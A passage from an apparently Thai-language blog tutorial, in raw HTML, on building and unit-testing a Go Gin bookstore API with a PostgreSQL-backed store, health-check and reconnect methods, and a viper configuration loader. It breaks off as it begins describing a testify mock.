&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Handler &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Dependency Injection &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A; BookStore &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; BookHandlers &#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE21;&#xE48;</p><pre><code>type BookHandlers struct {
	bs *bookstore.BookStore
}

func NewBookHandlers(bs *bookstore.BookStore) *BookHandlers {
	return &amp;BookHandlers{bs: bs}
}</code></pre><p>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE02;&#xE2D;&#xE07; BookHandlers &#xE44;&#xE27;&#xE49;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Routing &quot;HTTP Request&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; Method &quot;GetBook()&quot;, &quot;AddBook()&quot;, &quot;DeleteBook()&quot; &#xE41;&#xE25;&#xE30; &quot;HealthCheck()&quot; &#xE14;&#xE31;&#xE07; Code &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; book_handlers.go &#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;</p><figure class="kg-card kg-code-card"><pre><code>// book_handlers.go
package handlers

import (
	&quot;myproject/internal/bookstore&quot;
	&quot;net/http&quot;
	&quot;strconv&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

type BookHandlers struct {
	bs *bookstore.BookStore
}

func NewBookHandlers(bs *bookstore.BookStore) *BookHandlers {
	return &amp;BookHandlers{bs: bs}
}

func (h *BookHandlers) GetBook(c *gin.Context) {
	id, err := strconv.Atoi(c.Param(&quot;id&quot;))
	if err != nil {
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid book ID&quot;})
		return
	}

	title, err := h.bs.GetBookTitle(c.Request.Context(), id)
	if err != nil {
		c.JSON(http.StatusNotFound, gin.H{&quot;error&quot;: err.Error()})
		return
	}

	c.JSON(http.StatusOK, gin.H{&quot;id&quot;: id, &quot;title&quot;: title})
}

func (h *BookHandlers) AddBook(c *gin.Context) {
	var book struct {
		Title string `json:&quot;title&quot; binding:&quot;required&quot;`
	}

	if err := c.ShouldBindJSON(&amp;book); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: err.Error()})
		return
	}

	if err := h.bs.AddBook(c.Request.Context(), book.Title); err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: err.Error()})
		return
	}

	c.JSON(http.StatusCreated, gin.H{&quot;message&quot;: &quot;Book added successfully&quot;})
}

func (h *BookHandlers) DeleteBook(c *gin.Context) {
	id, err := strconv.Atoi(c.Param(&quot;id&quot;))
	if err != nil {
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid book ID&quot;})
		return
	}

	if err := h.bs.DeleteBook(c.Request.Context(), id); err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: err.Error()})
		return
	}

	c.JSON(http.StatusOK, gin.H{&quot;message&quot;: &quot;Book deleted successfully&quot;})
}

func (h *BookHandlers) HealthCheck(c *gin.Context) {
	err := h.bs.Ping()
	if err != nil {
		c.JSON(http.StatusServiceUnavailable, gin.H{
			&quot;status&quot;: &quot;unhealthy&quot;,
			&quot;reason&quot;: &quot;Database connection failed&quot;,
		})
		return
	}
	c.JSON(http.StatusOK, gin.H{&quot;status&quot;: &quot;healthy&quot;})
}
</code></pre><figcaption>book_handlers.go</figcaption></figure><p><strong>GetBook()</strong> &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID<br>GetBook() &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; c.Param() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE31;&#xE1A; ID &#xE08;&#xE32;&#xE01; URL Parameter &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02; &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; GetBookTitle() &#xE08;&#xE32;&#xE01; BookStore &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON</p><p><strong>AddBook()</strong> &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;<br>AddBook() &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01; JSON Body &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; c.ShouldBindJSON() &#xE41;&#xE1B;&#xE25;&#xE07; JSON Body &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; AddBook() &#xE08;&#xE32;&#xE01; BookStore &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</p><p><strong>DeleteBook()</strong> &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID<br>DeleteBook()<strong> </strong>&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; c.Param() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE31;&#xE1A; ID &#xE08;&#xE32;&#xE01; URL Parameter &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; DeleteBook() &#xE08;&#xE32;&#xE01; BookStore &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</p><p><strong>HealthCheck()</strong> &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;<br>HealthCheck() &#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Ping() &#xE08;&#xE32;&#xE01; BookStore &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30; &quot;healthy&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; &quot;unhealthy&quot; &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE40;&#xE2B;&#xE15;&#xE38;&#xE1C;&#xE25;</p><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Method &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; c.JSON() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07; HTTP Status Code &#xE01;&#xE25;&#xE31;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19; 400 Bad Request &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Request &#xE44;&#xE21;&#xE48;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; 404 Not Found &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE41;&#xE25;&#xE30; 500 Internal Server Error &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;/&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; Code &#xE43;&#xE19; File &quot;bookstore.go&quot; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Method &quot;Ping()&quot; &#xE41;&#xE25;&#xE30; &quot;Reconnect()&quot; &#xE43;&#xE19; Interface BookDatabase</p><pre><code>type BookDatabase interface {
	GetBook(ctx context.Context, id int) (string, error)
	AddBook(ctx context.Context, title string) error
	DeleteBook(ctx context.Context, id int) error
	Close() error
	Ping() error
	Reconnect(connStr string) error
}</code></pre><p>Implement Method &quot;Ping()&quot; &#xE15;&#xE32;&#xE21; Interface BookDatabase &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Ping &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; PostgreSQL</p><pre><code>func (pdb *PostgresDatabase) Ping() error {
	if pdb == nil {
		return errors.New(&quot;database connection is not initialized&quot;)
	}
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()
	return pdb.db.PingContext(ctx)
}</code></pre><p>Implement Method &quot;Reconnect()&quot; &#xE15;&#xE32;&#xE21; Interface BookDatabase &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE19; Function &quot;main()&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Reconnect &#xE43;&#xE2B;&#xE21;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; PostgreSQL &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</p><pre><code>func (pdb *PostgresDatabase) Reconnect(connStr string) error {
	if pdb.db != nil {
		pdb.db.Close()
	}

	db, err := sql.Open(&quot;postgres&quot;, connStr)
	if err != nil {
		return fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
	}

	// &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; connection pool
	db.SetMaxOpenConns(25)
	db.SetMaxIdleConns(10)
	db.SetConnMaxLifetime(5 * time.Minute)

	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := db.PingContext(ctx); err != nil {
		return fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
	}

	pdb.db = db
	return nil
}</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method &quot;Ping()&quot; &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; BookStore &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Ping() &#xE43;&#xE19; PostgresDatabase &#xE2D;&#xE35;&#xE01;&#xE17;&#xE35;</p><pre><code>func (bs *BookStore) Ping() error {
	if bs.db == nil {
		return fmt.Errorf(&quot;database connection is not initialized&quot;)
	}
	return bs.db.Ping()
}</code></pre><p>Code &#xE40;&#xE15;&#xE47;&#xE21;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; File &quot;bookstore.go&quot; &#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>// bookstore.go
package bookstore

import (
	&quot;context&quot;
	&quot;database/sql&quot;
	&quot;errors&quot;
	&quot;fmt&quot;
	&quot;time&quot;

	_ &quot;github.com/lib/pq&quot;
)

// BookDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; Book Database &#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
type BookDatabase interface {
	GetBook(ctx context.Context, id int) (string, error)
	AddBook(ctx context.Context, title string) error
	DeleteBook(ctx context.Context, id int) error
	Close() error
	Ping() error
	Reconnect(connStr string) error
}

// PostgresDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL Database &#xE08;&#xE23;&#xE34;&#xE07;
type PostgresDatabase struct {
	db *sql.DB
}

// NewPostgresDatabase &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; PostgresDatabase &#xE43;&#xE2B;&#xE21;&#xE48;&#xE41;&#xE25;&#xE30;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
func NewPostgresDatabase(connStr string) (*PostgresDatabase, error) {
	db, err := sql.Open(&quot;postgres&quot;, connStr)
	if err != nil {
		return nil, fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
	}

	// &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; connection pool
	db.SetMaxOpenConns(25)
	db.SetMaxIdleConns(10)
	db.SetConnMaxLifetime(5 * time.Minute)

	// &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; context
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := db.PingContext(ctx); err != nil {
		return nil, fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
	}

	return &amp;PostgresDatabase{db: db}, nil
}

func (pdb *PostgresDatabase) GetBook(ctx context.Context, id int) (string, error) {
	var title string
	err := pdb.db.QueryRowContext(ctx, &quot;SELECT title FROM books WHERE id = $1&quot;, id).Scan(&amp;title)
	if err != nil {
		if err == sql.ErrNoRows {
			return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
		}
		return &quot;&quot;, fmt.Errorf(&quot;failed to get book: %v&quot;, err)
	}
	return title, nil
}

func (pdb *PostgresDatabase) AddBook(ctx context.Context, title string) error {
	_, err := pdb.db.ExecContext(ctx, &quot;INSERT INTO books (title) VALUES ($1)&quot;, title)
	if err != nil {
		return fmt.Errorf(&quot;failed to add book: %v&quot;, err)
	}
	return nil
}

func (pdb *PostgresDatabase) DeleteBook(ctx context.Context, id int) error {
	result, err := pdb.db.ExecContext(ctx, &quot;DELETE FROM books WHERE id = $1&quot;, id)
	if err != nil {
		return fmt.Errorf(&quot;failed to delete book: %v&quot;, err)
	}

	rowsAffected, err := result.RowsAffected()
	if err != nil {
		return fmt.Errorf(&quot;failed to get rows affected: %v&quot;, err)
	}

	if rowsAffected == 0 {
		return fmt.Errorf(&quot;book not found&quot;)
	}

	return nil
}

func (pdb *PostgresDatabase) Close() error {
	return pdb.db.Close()
}

func (pdb *PostgresDatabase) Ping() error {
	if pdb == nil {
		return errors.New(&quot;database connection is not initialized&quot;)
	}
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()
	return pdb.db.PingContext(ctx)
}

func (pdb *PostgresDatabase) Reconnect(connStr string) error {
	if pdb.db != nil {
		pdb.db.Close()
	}

	db, err := sql.Open(&quot;postgres&quot;, connStr)
	if err != nil {
		return fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
	}

	// &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; connection pool
	db.SetMaxOpenConns(25)
	db.SetMaxIdleConns(10)
	db.SetConnMaxLifetime(5 * time.Minute)

	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := db.PingContext(ctx); err != nil {
		return fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
	}

	pdb.db = db
	return nil
}

// BookStore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application
type BookStore struct {
	db BookDatabase
}

// NewBookStore &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Database &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;
func NewBookStore(db BookDatabase) *BookStore {
	return &amp;BookStore{db: db}
}

// GetBookTitle &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) GetBookTitle(ctx context.Context, id int) (string, error) {
	return bs.db.GetBook(ctx, id)
}

// AddBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) AddBook(ctx context.Context, title string) error {
	return bs.db.AddBook(ctx, title)
}

// DeleteBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) DeleteBook(ctx context.Context, id int) error {
	return bs.db.DeleteBook(ctx, id)
}

// Close &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
func (bs *BookStore) Close() error {
	return bs.db.Close()
}

func (bs *BookStore) Ping() error {
	if bs.db == nil {
		return fmt.Errorf(&quot;database connection is not initialized&quot;)
	}
	return bs.db.Ping()
}
</code></pre><figcaption>bookstore.go</figcaption></figure><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; Package &quot;config&quot; &#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19; Application Port &#xE08;&#xE32;&#xE01; Environment Variable &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>// config.go

package config

import (
	&quot;fmt&quot;
	&quot;strings&quot;

	&quot;github.com/spf13/viper&quot;
)

type Config struct {
	AppPort          string
	DatabaseHost     string
	DatabasePort     int
	DatabaseUser     string
	DatabasePassword string
	DatabaseName     string
	DatabaseSSLMode  string
}

func LoadConfig() (Config, error) {
	// viper.SetEnvPrefix(&quot;POSTGRES&quot;)
	viper.AutomaticEnv()
	viper.SetEnvKeyReplacer(strings.NewReplacer(&quot;.&quot;, &quot;_&quot;))

	// Set default values
	viper.SetDefault(&quot;POSTGRES.HOST&quot;, &quot;localhost&quot;)
	viper.SetDefault(&quot;POSTGRES.PORT&quot;, 5432)
	viper.SetDefault(&quot;POSTGRES.USER&quot;, &quot;postgres&quot;)
	viper.SetDefault(&quot;POSTGRES.PASSWORD&quot;, &quot;&quot;)
	viper.SetDefault(&quot;POSTGRES.DBNAME&quot;, &quot;bookstore&quot;)
	viper.SetDefault(&quot;POSTGRES.SSLMODE&quot;, &quot;disable&quot;)

	// Set config values
	config := Config{
		AppPort:          viper.GetString(&quot;APP.PORT&quot;),
		DatabaseHost:     viper.GetString(&quot;POSTGRES.HOST&quot;),
		DatabasePort:     viper.GetInt(&quot;POSTGRES.PORT&quot;),
		DatabaseUser:     viper.GetString(&quot;POSTGRES.USER&quot;),
		DatabasePassword: viper.GetString(&quot;POSTGRES.PASSWORD&quot;),
		DatabaseName:     viper.GetString(&quot;POSTGRES.DBNAME&quot;),
		DatabaseSSLMode:  viper.GetString(&quot;POSTGRES.SSLMODE&quot;),
	}

	return config, nil
}

func (c *Config) GetConnectionString() string {
	return fmt.Sprintf(&quot;host=%s port=%d user=%s password=%s dbname=%s sslmode=%s&quot;,
		c.DatabaseHost,
		c.DatabasePort,
		c.DatabaseUser,
		c.DatabasePassword,
		c.DatabaseName,
		c.DatabaseSSLMode)
}
</code></pre><figcaption>config.go</figcaption></figure><p>&#xE08;&#xE32;&#xE01; Code &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE33; Unit Test &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Handler Function &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Database &#xE08;&#xE23;&#xE34;&#xE07;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE33; Unit Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;handlers&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject
&#x251C;&#x2500;&#x2500; bookstore
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; bookstore.go
&#x251C;&#x2500;&#x2500; config
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; config.go
&#x2514;&#x2500;&#x2500; handlers
    &#x251C;&#x2500;&#x2500; book_handlers.go
    &#x2514;&#x2500;&#x2500; book_handlers_test.go</code></pre><p><strong>book_handlers_test.go</strong> &#xE04;&#xE37;&#xE2D; File Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p>&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; struct &#xE0A;&#xE37;&#xE48;&#xE2D; MockBookStore &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; BookStore &#xE08;&#xE23;&#xE34;&#xE07; &#xE14;&#xE49;&#xE27;&#xE22; package &quot;github.com/stretchr/testify/mock&quot; 